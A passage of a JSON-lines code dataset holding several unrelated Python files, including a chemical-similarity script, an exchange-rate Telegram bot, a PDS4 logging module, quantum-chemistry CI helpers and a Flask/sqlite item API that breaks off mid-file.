wb.remove(wb['Sheet'])\r\nwb.save('data.xlsx')\r\n","repo_name":"PiyushSaravagi/GooglePlacesScraper","sub_path":"get_place_details.py","file_name":"get_place_details.py","file_ext":"py","file_size_in_byte":3460,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"72974838227","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 23 10:37:40 2022\n\n@author: joshua.l.lansford\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom vp_model import utils\nimport multiprocessing as mp\nif __name__ == '__main__':\n num_cpus = 6\n vp_data = pd.read_csv('../data/Yaw_vp_o_data_liquids.csv')\n vp_data_explosives = pd.read_csv('../data/expl_name_2_smiles.csv')\n \n expl_smiles, indices = np.unique(utils.canonicalize(\n vp_data_explosives['smiles'])[0]\n , return_index=True)\n \n similarities = np.zeros((expl_smiles.shape[0], vp_data.shape[0]))\n #for count_1, smile_1 in enumerate(expl_smiles):\n # print(count_1)\n # for count_2, smile_2 in enumerate(vp_data['smiles']):\n # similarities[count_1][count_2] = utils.get_similarity(smile_1, smile_2)\n \n for count_1, smile_1 in enumerate(expl_smiles):\n print(count_1)\n input_smiles = [(smile_1, smile_2) for smile_2 in vp_data['smiles']]\n pool = mp.Pool(num_cpus)\n values = pool.starmap(utils.get_similarity, input_smiles)\n pool.close()\n pool.join()\n similarities[count_1] = values\n \n self_sim = np.zeros((expl_smiles.shape[0], expl_smiles.shape[0]-1))\n for count_1, smile_1 in enumerate(expl_smiles):\n index_shift = 0\n for count_2, smile_2 in enumerate(expl_smiles):\n if count_1 != count_2:\n self_sim[count_1][count_2+index_shift] = utils.get_similarity(smile_1, smile_2)\n else:\n index_shift = -1\n \n \n df_similarities = pd.DataFrame()\n df_similarities['abbr'] = vp_data_explosives.iloc[indices]['abbr'].to_list()\n df_similarities['name'] = vp_data_explosives.iloc[indices]['name'].to_list()\n df_similarities['formula'] = vp_data_explosives.iloc[indices]['formula'].to_list()\n df_similarities['CAS'] = vp_data_explosives.iloc[indices]['CAS'].to_list()\n df_similarities['IUPAC'] = vp_data_explosives.iloc[indices]['IUPAC'].to_list()\n df_similarities['smiles'] = expl_smiles\n df_similarities['sim_avg'] = similarities.mean(axis=1)\n df_similarities['sim_max'] = similarities.max(axis=1)\n df_similarities['sim_min'] = similarities.min(axis=1)\n df_similarities['sim_std'] = similarities.std(axis=1, ddof=1)\n df_similarities['self_avg'] = self_sim.mean(axis=1)\n df_similarities['self_max'] = self_sim.max(axis=1)\n df_similarities['self_min'] = self_sim.min(axis=1)\n df_similarities['self_std'] = self_sim.std(axis=1, ddof=1)\n df_similarities.to_csv('../data/expl_similarities_liquids_o.csv', index=False)\n \n df_sim_max = pd.DataFrame()\n df_sim_max['weights'] = similarities.max(axis=0)\n df_sim_max.to_csv('../data/sim_max_liquids_o.csv', index=False)\n\n\n","repo_name":"JLans/vp_model","sub_path":"scripts/generate_similarity_data.py","file_name":"generate_similarity_data.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"43874059870","text":"from argparse import ArgumentParser\r\nfrom .laboratory import Laboratory\r\nimport yaml\r\n\r\n\r\ndef process():\r\n parser = ArgumentParser()\r\n parser.add_argument('yaml_file')\r\n parser.add_argument('--reactions', action='store_true')\r\n args = parser.parse_args()\r\n\r\n yaml_shelves = yaml.load(open(args.yaml_file))\r\n shelves = Laboratory(yaml_shelves)\r\n result = shelves.run_full_experiment()\r\n\r\n if args.reactions:\r\n print(result[2])\r\n else:\r\n print(\"lower: {} \\nupper: {}\".format(result[0], result[1]))\r\n result_yml = open(\"result.yml\", \"w\")\r\n yaml.dump({\"lower\": result[0], \"upper\": result[1]}, result_yml)\r\n result_yml.close()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n process()\r\n","repo_name":"shuenlim/mphy0021","sub_path":"cw1/15004164/alchemist/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18745260784","text":"import os\n\n\nclass FileParser:\n def __init__(self, f):\n self.f = f\n\n def readline(self):\n line = f.readline()\n if len(line) != 0 and line[-1] == '\\n':\n line = line[:-1]\n if len(line) != 0 and line[-1] == '\\r':\n line = line[:-1]\n return line\n\n\ndef parse_file(f):\n line = f.readline()\n while line:\n command, path = tuple(line.split())\n if command == '':\n print(\"in dir \" + path + '\\n')\n if not os.path.isdir(path):\n os.mkdir(path)\n elif command == '':\n print(\"in file \" + path + '\\n')\n with open(path, 'w') as file:\n line = f.readline()\n while not line == '':\n file.write(line + '\\n')\n line = f.readline()\n else:\n print(\"unrecognized control sequence \\\"\" + line + \"\\\"\\n\")\n line = f.readline()\n\n\nif __name__ == '__main__':\n with open(\"file_concat_output\", 'r', encoding=\"UTF-8\") as f:\n output_dir = \"file_splitting_output\"\n if not os.path.isdir(output_dir):\n os.mkdir(output_dir)\n os.chdir(output_dir)\n parse_file(FileParser(f))\n","repo_name":"LutingWang/MIPS_OperatingSystem","sub_path":"usr/fsplit.py","file_name":"fsplit.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"8831120457","text":"import requests\nimport json\nimport datetime\nimport django\nimport telebot\nfrom time import sleep, time\nfrom django.conf import settings\nfrom dollaranalityc.settings import DATABASES, INSTALLED_APPS\n\nsettings.configure(DATABASES=DATABASES, INSTALLED_APPS=INSTALLED_APPS)\ndjango.setup()\nfrom main.models import *\n\nconfig = Config.objects.last()\nbot = telebot.TeleBot(config.API)\n\n\ndef current_rate():\n rates = {}\n data = json.loads(requests.get('https://back.halykbank.kz/common/currency-history').text)\n res = next(iter(data['data']['currencyHistory']))\n try:\n rates = data['data']['currencyHistory']['3']['cards']['USD/KZT']\n except Exception as error:\n try:\n rates = data['data']['currencyHistory'][1]['cards']['USD/KZT']\n except Exception as error:\n try:\n rates = data['data']['currencyHistory']['0']['cards']['USD/KZT']\n except Exception as error:\n try:\n rates = data['data']['currencyHistory'][0]['cards']['USD/KZT']\n except Exception as error:\n try:\n rates = data['data']['currencyHistory']['2']['cards']['USD/KZT']\n except Exception as error:\n try:\n rates = data['data']['currencyHistory'][2]['cards']['USD/KZT']\n except Exception as error:\n pass\n\n\ndef interval():\n interval = Interval(\n buy=current_rate()['buy'],\n sell=current_rate()['sell'],\n # buy=float(input('buy: ')),\n # sell=float(input('sell: ')),\n date=datetime.date.today(),\n time=datetime.datetime.now().strftime('%H:%M:%S'),\n unix=int(time())\n )\n check_interval(interval)\n print(current_rate())\n\n\ndef check_interval(interval):\n last = Interval.objects.last()\n interval.save()\n message = ''\n config = Config.objects.last()\n if interval.buy != last.buy or interval.sell != last.sell:\n dfbp = 100 - ((interval.buy * 100) / last.buy)\n dfsp = 100 - ((interval.sell * 100) / last.sell)\n dfbtg = interval.buy - last.buy\n dfstg = interval.sell - last.sell\n if dfstg > config.porog_interval or dfstg < config.porog_interval:\n message = message + 'Курс продажи доллара изменился на ' + str(round(dfstg, 2)) + 'KZT за послдение ' + str(\n config.interval) + ' минут\\n'\n if dfbtg > config.porog_interval or dfstg < dfbtg.porog_interval:\n message = message + 'Курс купли доллара изменился на ' + str(round(dfbtg, 2)) + 'KZT за послдение ' + str(\n config.interval) + ' минут\\n'\n\n message = message + 'Текущий курс: \\nПродажа - ' + str(current_rate()['sell']) + '\\nПокупка - ' + str(\n current_rate()['buy'])\n change = Change(\n buy=interval.buy,\n sell=interval.sell,\n dfsp=dfsp,\n dfbp=dfbp,\n dfstg=dfstg,\n dfbtg=dfbtg,\n date=interval.date,\n time=interval.time,\n unix=interval.unix,\n big=False\n )\n change.save()\n if send:\n bot.send_message(config.jalgas, message)\n bot.send_message(config.galymjan, message)\n\n\ndef big_check():\n last = Check.objects.last()\n check = Check(\n buy=current_rate()['buy'],\n sell=current_rate()['sell'],\n # buy=float(input('big_buy: ')),\n # sell=float(input('big_sell: ')),\n date=datetime.date.today(),\n time=datetime.datetime.now().strftime('%H:%M:%S'),\n unix=int(time())\n )\n check.save()\n config = Config.objects.last()\n message = ''\n if check.buy != last.buy or check.sell != last.sell:\n dfbp = 100 - ((check.buy * 100) / last.buy)\n dfsp = 100 - ((check.sell * 100) / last.sell)\n dfbtg = check.buy - last.buy\n dfstg = check.sell - last.sell\n if dfstg != 0.0:\n message = message + 'Курс продажи доллара изменился на ' + str(round(dfstg, )) + 'KZT за послдение ' + str(\n config.check) + ' минут\\n'\n if dfbtg != 0.0:\n message = message + 'Курс купли доллара изменился на ' + str(round(dfbtg, 2)) + 'KZT за послдение ' + str(\n config.check) + ' минут\\n'\n\n message = message + 'Текущий курс: \\nПродажа - ' + str(current_rate()['sell']) + '\\nПокупка - ' + str(\n current_rate()['buy'])\n change = Change(\n buy=check.buy,\n sell=check.sell,\n dfsp=dfsp,\n dfbp=dfbp,\n dfstg=dfstg,\n dfbtg=dfbtg,\n date=check.date,\n time=check.time,\n unix=check.unix,\n big=True\n )\n change.save()\n if send:\n bot.send_message(config.jalgas, message)\n bot.send_message(config.galymjan, message)\n\n\nwhile True:\n config = Config.objects.get(id=1)\n send = config.bot\n dt = str(datetime.datetime.now())\n hour = int(dt[11] + dt[12])\n min = int(dt[14] + dt[15])\n\n if min % config.interval == 0:\n interval()\n\n if ((hour * 60) + min) % config.check == 0:\n big_check()\n\n sleep(60)\n","repo_name":"jalgas-kadyr/dollartest","sub_path":"ttest.py","file_name":"ttest.py","file_ext":"py","file_size_in_byte":5467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26493593277","text":"import torch.nn as nn\n\ndef conv3x3(in_channels, out_channels, **kwargs):\n return nn.Sequential(\n nn.Conv2d(in_channels, out_channels, kernel_size=3, padding=1, **kwargs),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(),\n nn.MaxPool2d(2)\n )\n\nclass Conv4(nn.Module):\n def __init__(self, in_channels=3, out_channels=64, hid_channels=64):\n super(Conv4, self).__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.hid_channels = hid_channels\n\n self.encoder = nn.Sequential(\n conv3x3(in_channels, hid_channels),\n conv3x3(hid_channels, hid_channels),\n conv3x3(hid_channels, hid_channels),\n conv3x3(hid_channels, out_channels)\n )\n\n def forward(self, inputs):\n outputs = self.encoder(inputs)\n return outputs\n\n\ndef conv4(**kwargs):\n return Conv4(**kwargs)","repo_name":"chenhaoxing/ASL","sub_path":"backbones/conv4.py","file_name":"conv4.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"48"} +{"seq_id":"71704402707","text":"\"\"\" Find the first non repeating character in a string. \"\"\"\n\ndef firstNonRepeatingCharacter(string):\n # create dictionary to store character counts\n count_dict = {}\n\n # loop string and check if char is in the count dict, if not, add it\n # if it is already present, increment the count\n for char in string:\n if char in count_dict:\n count_dict[char] += 1\n else:\n count_dict[char] = 1\n # loop the keys in the count dict and check if the value is equal to 1,\n # then return the index of that char in the string\n for key in count_dict.keys():\n if count_dict[key] == 1:\n return string.index(key)\n return -1","repo_name":"kotynskm/algo-easy","sub_path":"nonrepeatingchar.py","file_name":"nonrepeatingchar.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42357074658","text":"from configuration_interaction.ci import ConfigurationInteraction\nfrom configuration_interaction.tdci import TimeDependentConfigurationInteraction\n\n\ndef excitation_string_handler(excitations):\n if isinstance(excitations, str):\n excitations = excitations.upper()\n\n if excitations.startswith(\"CI\"):\n excitations = excitations[2:]\n\n excitations = [excitation for excitation in excitations]\n\n from configuration_interaction.ci_helper import ORDER\n\n for excitation in excitations:\n assert excitation in ORDER, f'\"{excitation}\" is not a supported order'\n\n return list(map(lambda x: x.upper(), excitations))\n\n\ndef get_ci_class(excitations, cl_type=ConfigurationInteraction):\n \"\"\"Function constructing a truncated CI-class with the specified\n excitations.\n\n Parameters\n ----------\n excitations : str\n The specified excitations to use in the CI-class. For example, to\n create a CISD class both ``excitations=\"CISD\"`` and ``excitations=[\"S\",\n \"D\"]`` are valid.\n\n Returns\n -------\n ConfigurationInteraction\n A subclass of ``ConfigurationInteraction``.\n \"\"\"\n assert cl_type in [\n ConfigurationInteraction,\n TimeDependentConfigurationInteraction,\n ]\n\n excitations = excitation_string_handler(excitations)\n\n prefix = \"CI\" if cl_type is ConfigurationInteraction else \"TDCI\"\n class_name = prefix + \"\".join(excitations)\n\n ci_class = type(class_name, (cl_type,), dict(excitations=excitations))\n\n return ci_class\n\n\ndef get_tdci_class(*args):\n return get_ci_class(*args, cl_type=TimeDependentConfigurationInteraction)\n\n\nCIS = get_ci_class(\"CIS\")\nCID = get_ci_class(\"CID\")\nCISD = get_ci_class(\"CISD\")\nCIDT = get_ci_class(\"CIDT\")\nCISDT = get_ci_class(\"CISDT\")\nCIDTQ = get_ci_class(\"CIDTQ\")\nCISDTQ = get_ci_class(\"CISDTQ\")\n\nTDCIS = get_tdci_class(\"CIS\")\nTDCID = get_tdci_class(\"CID\")\nTDCISD = get_tdci_class(\"CISD\")\nTDCIDT = get_tdci_class(\"CIDT\")\nTDCISDT = get_tdci_class(\"CISDT\")\nTDCIDTQ = get_tdci_class(\"CIDTQ\")\nTDCISDTQ = get_tdci_class(\"CISDTQ\")\n","repo_name":"HyQD/configuration-interaction","sub_path":"configuration_interaction/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15024969340","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport sys\nimport copy\nimport logging\n\nfrom ..extern import six\n\n# Minimum logging levels for loud and quiet operation\n_loud = logging.DEBUG\n_quiet = logging.ERROR\n\n# User-configured log level\n_user_level = None\n\n\ndef logger_init():\n \"\"\" Initializes or obtains the logger for PDS4 tools and its handlers.\n\n Returns\n -------\n PDS4Logger\n The global logger for all pds4 tools.\n \"\"\"\n\n # Obtain or create PDS4ToolsLogger\n original_class = logging.getLoggerClass()\n\n logging.setLoggerClass(PDS4Logger)\n logger = logging.getLogger('PDS4ToolsLogger')\n\n logging.setLoggerClass(original_class)\n\n # If this is a new logger then initialize its config\n if not logger.handlers:\n\n # Set default log level for entire logger\n logger.setLevel(_loud)\n\n # Create the stdout handler. This handler outputs to stdout and to warning and errors message boxes\n # in the viewer and can be silenced by user (via use of quiet or --quiet).\n stdout_handler = PDS4StreamHandler('stdout_handler')\n\n # Create the log handler. This handler does not output to stdout or to screen and should not\n # be silenced.\n log_handler = PDS4SilentHandler('log_handler')\n\n # Create the formatter and add it to the handlers\n formatter = PDS4Formatter()\n stdout_handler.setFormatter(formatter)\n log_handler.setFormatter(formatter)\n\n # Add handlers to logger\n logger.addHandler(stdout_handler)\n logger.addHandler(log_handler)\n\n return logger\n\n\ndef set_loglevel(level):\n \"\"\"\n Enables log messages from the PDS4 tools logger to propagate to ancestor loggers based\n on the log level.\n\n By default log messages are not propagated. To receive info+ log messages, one would\n typically ``set_loglevel('info')``, while setting ``pds4_read(..., quiet=True)`` to\n avoid duplicate information to stdout.\n\n Parameters\n ----------\n level : int or str\n Level to set for handler. See Python documentation on logger levels for details.\n\n Returns\n -------\n None\n \"\"\"\n\n global _user_level\n\n if isinstance(level, six.string_types):\n _user_level = getattr(logging, level.upper())\n else:\n _user_level = level\n\n\nclass PDS4Logger(logging.Logger, object):\n \"\"\" Custom PDS4 Logger, for its internal log use.\n\n Additional features over standard logger:\n - Get handlers by name\n - Has `quiet` or `loud` methods\n - Set maximum number of repetitions for a logging message via e.g. ``.log(... max_repeats=n)``\n - Set custom line terminator on per message basis for all stream handlers via e.g. ``.log(..., end='str')``\n\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n\n # Stores those messages (as keys) which have a max_repeat argument set (see _log() details)\n # and the number of repetitions they have had (as values)\n self._max_repeat_records = {}\n\n super(PDS4Logger, self).__init__(*args, **kwargs)\n\n @property\n def stream_handlers(self):\n \"\"\"\n Returns\n -------\n logging.StreamHandler or subclasses\n Stream handlers bound to this logger.\n \"\"\"\n\n return [handler for handler in self.handlers\n if isinstance(handler, logging.StreamHandler)]\n\n def get_handler(self, handler_name):\n \"\"\" Obtain handler by name.\n\n Parameters\n ----------\n handler_name : str or unicode\n The name of the handler.\n\n Returns\n -------\n PDS4StreamHandler or PDS4SilentHandler\n Handler for this logger, matching the *handler_name*.\n \"\"\"\n\n for handler in self.handlers:\n\n if handler.name == handler_name:\n return handler\n\n return None\n\n def quiet(self, handler_name='stdout_handler'):\n \"\"\" Sets a handler to log only errors.\n\n Parameters\n ----------\n handler_name : str or unicode, optional\n Handler name to select. Defaults to stdout handler.\n\n Returns\n -------\n None\n \"\"\"\n\n self.get_handler(handler_name).setLevel(_quiet)\n\n def loud(self, handler_name='stdout_handler'):\n \"\"\" Sets a handler to log warnings and above.\n\n Parameters\n ----------\n handler_name : str or unicode, optional\n Handler name to select. Defaults to stdout handler.\n\n Returns\n -------\n None\n \"\"\"\n\n self.get_handler(handler_name).setLevel(_loud)\n\n def is_quiet(self, handler_name='stdout_handler'):\n \"\"\" Obtains whether a handler is quiet.\n\n Parameters\n ----------\n handler_name : str or unicode, optional\n Handler name to select. Defaults to stdout handler.\n\n Returns\n -------\n bool\n True if the logger is quiet, i.e. logs only errors; false otherwise.\n \"\"\"\n return self.get_handler(handler_name).is_quiet\n\n def set_terminators(self, ends=None):\n \"\"\" Sets line terminator for all stream handlers.\n\n Parameters\n ----------\n ends : str, unicode or list[str or unicode]\n The line terminator (same for all stream handlers) or sequence of terminators.\n Sequence order must be same as order of stream handlers in `stream_handlers`\n attribute.\n\n Returns\n -------\n None\n \"\"\"\n\n num_stream_handlers = len(self.stream_handlers)\n ends_is_array = isinstance(ends, (list, tuple))\n\n if ends_is_array and (len(ends) != num_stream_handlers):\n raise TypeError('Number of stream handlers ({0}) does not match number of ends ({1}).'\n .format(len(ends), num_stream_handlers))\n\n elif not ends_is_array:\n\n ends = [ends] * num_stream_handlers\n\n for i, handler in enumerate(self.stream_handlers):\n handler.terminator = ends[i]\n\n def setLevel(self, level, handler_name=None):\n \"\"\" Set log level for entire logger or a specific handler.\n\n Parameters\n ----------\n level : int or str\n Level to set for logger or handler. See Python documentation on logger levels for details.\n handler_name : str or unicode, optional\n Handler name to select. Defaults to the entire logger.\n\n Returns\n -------\n None\n \"\"\"\n\n if isinstance(level, six.string_types):\n level = level.upper()\n\n if handler_name is None:\n super(PDS4Logger, self).setLevel(level)\n else:\n self.get_handler(handler_name).setLevel(level)\n\n def _log(self, level, *args, **kwargs):\n \"\"\"\n Subclassed to allow *end* and *max_repeat* arguments to every logger log call (e.g. ``logger.info``,\n ``logger.warning``, etc)\n\n When *end* is given, the message will end with the indicated line terminator instead of the handler's\n terminator setting.\n When *max_repeat* is given, the indicated message will only be emitted the number of times indicated\n from then on.\n\n Returns\n -------\n None\n \"\"\"\n\n msg = args[1]\n max_repeat = kwargs.pop('max_repeat', None)\n end = kwargs.pop('end', None)\n\n # Determine if max repeats for this log message has been reached\n if max_repeat is not None:\n\n times_repeated = self._max_repeat_records.setdefault(msg, 0)\n self._max_repeat_records[msg] += 1\n\n if times_repeated >= max_repeat:\n return\n\n # Set line terminator (temporarily) for all handlers\n if end is not None:\n original_ends = [handler.terminator for handler in self.stream_handlers]\n self.set_terminators(end)\n\n # Enable or disable propagation to ancestor loggers based on ``set_loglevel``\n original_propagate = self.propagate\n if (_user_level is None) or (level < _user_level):\n self.propagate = False\n\n # Log the message\n super(PDS4Logger, self)._log(level, *args, **kwargs)\n\n # Revert log propagation and line terminator back to previous/default settings\n self.propagate = original_propagate\n\n if end is not None:\n self.set_terminators(original_ends)\n\n\nclass PDS4StreamHandler(logging.StreamHandler):\n \"\"\" Custom StreamHandler that has a *name* and a *is_quiet* attributes. \"\"\"\n\n def __init__(self, name, level=_loud):\n \"\"\" Initialize the handler.\n\n Parameters\n ----------\n name : str or unicode\n Name to give the handler.\n level : int, optional\n Default log level for this handler. Defaults to _loud.\n \"\"\"\n\n # Using try due to stream parameter being renamed in Python <2.7)\n try:\n logging.StreamHandler.__init__(self, stream=sys.stdout)\n except TypeError:\n logging.StreamHandler.__init__(self, strm=sys.stdout)\n\n self._name = name\n\n if not hasattr(self, 'terminator'):\n self.terminator = '\\n'\n\n self.set_level(level)\n\n def emit(self, record):\n \"\"\" Emit a record.\n\n Subclassed to allow ``handler.terminator`` to be used as the line terminator rather than hardcode the\n newline character on any supported Python version. This is a standard feature on Python >= 3.2, but\n not available earlier.\n \"\"\"\n\n # Python >= 3.2 (i.e. all PY3 versions supported by this code) provides `self.terminator` by default\n if six.PY3:\n super(PDS4StreamHandler, self).emit(record)\n\n # For PY2, we copy directly from Python 2.7's emit, which also works for Python 2.6. A minor\n # modification is made to allow `self.terminator` attribute to work\n else:\n\n try:\n unicode\n _unicode = True\n except NameError:\n _unicode = False\n\n try:\n msg = self.format(record)\n stream = self.stream\n fs = b\"%s{0}\".format(self.terminator)\n if not _unicode:\n stream.write(fs % msg)\n else:\n try:\n if (isinstance(msg, unicode) and\n getattr(stream, 'encoding', None)):\n ufs = u'%s{0}'.format(self.terminator)\n try:\n stream.write(ufs % msg)\n except UnicodeEncodeError:\n stream.write((ufs % msg).encode(stream.encoding))\n else:\n stream.write(fs % msg)\n except UnicodeError:\n stream.write(fs % msg.encode(\"UTF-8\"))\n self.flush()\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n self.handleError(record)\n\n @property\n def name(self):\n \"\"\"\n Returns\n -------\n str or unicode\n Name of the handler.\n \"\"\"\n return self._name\n\n @property\n def is_quiet(self):\n \"\"\"\n Returns\n -------\n bool\n True if handler is quiet, False otherwise.\n \"\"\"\n return self.level >= _quiet\n\n def set_level(self, level):\n \"\"\" Set handler log level.\n\n Convenience method for setLevel.\n\n Parameters\n ----------\n level : int or str\n Level to set for handler. See Python documentation on logger levels for details.\n \"\"\"\n self.setLevel(level)\n\n def get_level(self):\n \"\"\" Get handler log level.\n\n Convenience method for the *level* attribute.\n\n Returns\n -------\n int\n Level for handler. See Python documentation on logger levels for details.\n \"\"\"\n return self.level\n\n def setLevel(self, level):\n \"\"\" Set handler log level.\n\n Overloads ``logging.StreamHandler.setLevel`` to automatically set whether logger is quiet or loud.\n\n Parameters\n ----------\n level : int or str\n Level to set for handler. See Python documentation on logger levels for details.\n \"\"\"\n\n if isinstance(level, six.string_types):\n level = level.upper()\n\n logging.StreamHandler.setLevel(self, level)\n\n\nclass PDS4SilentHandler(PDS4StreamHandler):\n \"\"\" Custom StreamHandler that saves emitted records to *records* attribute.\n\n Able to print out previously emitted records via `to_string`. \"\"\"\n\n def __init__(self, name):\n\n PDS4StreamHandler.__init__(self, name)\n\n self.records = []\n self._recording_start = None\n\n def emit(self, record):\n \"\"\" Saves emitted record.\n\n Emitted record is shallow copied, then message is modified as described. First, we insert\n the current line terminator, as otherwise this information would be lost. Second, if the\n current or prior record contains a stand alone carriage-return character, we save only\n the final state of the stream output as it would be if printed to a terminal. Generally\n carriage return is likely only to be used to overwrite old messages on the same line\n (e.g. how a download progress bar works); saving each message would pollute the message\n queue, and potentially take a huge amount of memory.\n\n Parameters\n ----------\n record : logger.LogRecord\n Record to emit.\n\n Returns\n -------\n None\n \"\"\"\n\n # Special processing for messages containing the CR (\\r) character\n # (see docstring for explanation)\n record = copy.copy(record)\n new_msg = record.msg\n last_msg = self.records[-1].msg if self.records else None\n\n new_msg_has_cr = isinstance(new_msg, six.string_types) and ('\\r' in new_msg)\n last_msg_has_cr = isinstance(last_msg, six.string_types) and ('\\r' in last_msg)\n\n if new_msg_has_cr or last_msg_has_cr:\n\n last_newline_idx = -1\n\n for i in range(len(self.records) - 1, 0, -1):\n\n value = self.records[i].msg\n if '\\n' in value:\n last_newline_idx = i\n break\n\n last_record = self.records[last_newline_idx].msg + new_msg\n\n # Special case when there are no newlines in previous records at all\n if last_newline_idx < 0:\n self.records = []\n\n # Deal with '\\r\\n', which generally acts equivalent to '\\n' in terminals\n not_contain_str = '\\n|'\n while not_contain_str in last_record:\n not_contain_str += '|'\n last_record = last_record.replace('\\r\\n', not_contain_str)\n\n # Truncate messages from '\\r' to previous newline\n prev_msg = ''\n new_msg = last_record\n while ('\\r' in new_msg) and (new_msg.count('\\r') > 1 or not new_msg.endswith('\\r')):\n head, _, new_msg = new_msg.partition('\\r')\n prev_msg += head[0:head.rfind('\\n') + 1]\n\n record.msg = '{0}{1}'.format(prev_msg, new_msg)\n record.msg = record.msg.replace(not_contain_str, '\\r\\n')\n\n self.records = self.records[0:last_newline_idx]\n\n # Save the record\n record.msg = '{0}{1}'.format(record.msg, self.terminator)\n self.records.append(record)\n\n def begin_recording(self):\n \"\"\"\n Used in conjunction with `get_recording`. Records emitted after this method is called will be\n returned by `get_recording`.\n\n Returns\n -------\n None\n \"\"\"\n self._recording_start = len(self.records)\n\n def get_recording(self, reset=True):\n \"\"\"\n Obtains records since `begin_recording` was called as a joined string.\n\n Parameters\n ----------\n reset : bool, optional\n If True, begins a new recording from now on. If False, recording from previous point\n continues. Defaults to True.\n\n Returns\n -------\n str or unicode\n A string containing the messages that were emitted since `begin_recording` was called.\n\n Raises\n ------\n RuntimeError\n Raised if `begin_recording` was not called prior to calling this method.\n \"\"\"\n record_start = self._recording_start\n\n if record_start is None:\n raise RuntimeError('Cannot obtain recording: no recording was started.')\n\n if reset:\n self.begin_recording()\n\n return self.to_string(start_i=record_start)\n\n def to_string(self, start_i=0, end_i=None):\n \"\"\" Output emitted records as a joined string.\n\n Parameters\n ----------\n start_i : int, optional\n Index of first record to include. Defaults to 0 (include records from the beginning).\n end_i : int, optional\n Index of last record to include. Defaults to None (include records until the end).\n\n Returns\n -------\n str or unicode\n A string containing the messages in the records that were previously emitted.\n \"\"\"\n\n formatted_records = [self.format(record) for record in self.records[start_i:end_i]]\n\n return ''.join(formatted_records)\n\n\nclass PDS4Formatter(logging.Formatter):\n \"\"\" Custom formatter that varies format according to log level. \"\"\"\n\n def format(self, record):\n \"\"\"\n Parameters\n ----------\n record : logger.LogRecord\n The record to format.\n\n Returns\n -------\n str or unicode\n The formatted record string.\n\n \"\"\"\n formatter = logging.Formatter('%(message)s')\n formatted_value = logging.Formatter.format(formatter, record)\n\n if record.levelno != logging.INFO:\n formatted_value = record.levelname.capitalize() + ': ' + formatted_value\n\n return formatted_value\n","repo_name":"Small-Bodies-Node/pds4_tools","sub_path":"pds4_tools/utils/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":18284,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"48"} +{"seq_id":"31740459876","text":"import sqlite3\n\nfrom flask_jwt import jwt_required\nfrom flask_restful import Resource, reqparse\n\n\nclass Item(Resource): # inherits Resource\n\n # first use reqoarse to check if the keys exist as per requirement\n parser = reqparse.RequestParser()\n parser.add_argument('price', type=float, required=True, help=\"This field cannot be left blank!\")\n\n @jwt_required()\n def get(self, name):\n item = self.find_by_name(name)\n if item:\n return item\n return {'message': 'Item not found'}, 404\n\n @classmethod\n def find_by_name(self, name):\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n query = \"SELECT * from items WHERE name=?\"\n result = cursor.execute(query, (name,))\n row = result.fetchone()\n connection.close()\n if row:\n return {'item': {'name': row[0], 'price': row[1]}}\n\n def post(self, name):\n if self.find_by_name(name):\n return {'message': \"An Item with name '{}' already exists\".format(name)}, 400 # Bad request\n\n data = Item.parser.parse_args()\n item = {'name': name, 'price': data['price']}\n\n try:\n self.insert(item)\n except:\n return {'message': 'An error occured inserting the item'}, 500 # internal server error\n return item, 201\n\n @classmethod\n def insert(cls, item):\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n query = \"INSERT INTO items VALUES(?,?)\"\n cursor.execute(query, (item['name'], item['price']))\n\n cursor.close()\n connection.commit()\n connection.close()\n\n def delete(self, name):\n data = self.find_by_name(name)\n if data:\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n\n query = \"DELETE FROM items where name=?\"\n result = cursor.execute(query, (name,))\n print(result)\n cursor.close()\n connection.commit()\n connection.close()\n return {'message': 'Delete successful'}\n return {'message': \"Item by name '{}' not found\".format(name)}\n\n def put(self, name):\n data = Item.parser.parse_args()\n item = self.find_by_name(name)\n updated_item = {'name': name, 'price': data['price']}\n if item is None:\n try:\n self.insert(updated_item)\n except:\n return {\"message\": \"An error occurred inserting in the table\"}\n else:\n try:\n self.update(updated_item)\n except:\n return {\"message\": \"An error occurred inserting in the table\"}\n return updated_item\n\n @classmethod\n def update(cls, item):\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n query = \"UPDATE items SET price=? WHERE name=?\"\n cursor.execute(query, (item['price'], item['name']))\n\n cursor.close()\n connection.commit()\n connection.close()\n\n\nclass ItemList(Resource):\n def get(self):\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n query = \"SELECT * from items\"\n result = cursor.execute(query)\n items = []\n for row in result:\n items.append({\n 'name': row[0],\n 'price': row[1]\n })\n cursor.close()\n connection.close()\n return {'items' : 